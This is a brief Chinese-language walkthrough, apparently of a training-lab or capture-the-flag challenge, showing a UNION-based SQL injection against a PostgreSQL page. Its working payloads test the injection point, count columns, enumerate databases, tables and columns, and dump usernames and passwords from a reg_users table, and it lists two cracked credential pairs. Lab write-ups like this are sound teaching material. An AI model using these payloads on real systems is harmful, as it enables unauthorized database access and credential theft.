1.判断是否存在注入点
?id=1 and 1=1 //显示正常
?id=1 and 1=2 //显示错误
存在注入点
2.判断列数
?id=1 order by 4 //显示正常
?id=1 order by 5 //显示错误
有4列
3. 判断回显点
?id=1 and 1=2 union select null,'null','null',null
2,3号位有回显
4. 查询所有数据库
?id=1 and 1=2 union select null,'null',string_agg(datname,','),null from pg_database
得到数据库如下
5.查询表名
?id=1 and 1=2 union select null,'null',string_agg(tablename,','),null from pg_tables where schemaname='public'
6.查询字段
?id=1 and 1=2 union select null,'null',string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
得到reg_users的字段名
7.查询字段数据
?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
得到两个用户如下
8. 破解密码后得到如下
mozhe1;236039
mozhe2;1qaz2wsx
9.登录得到key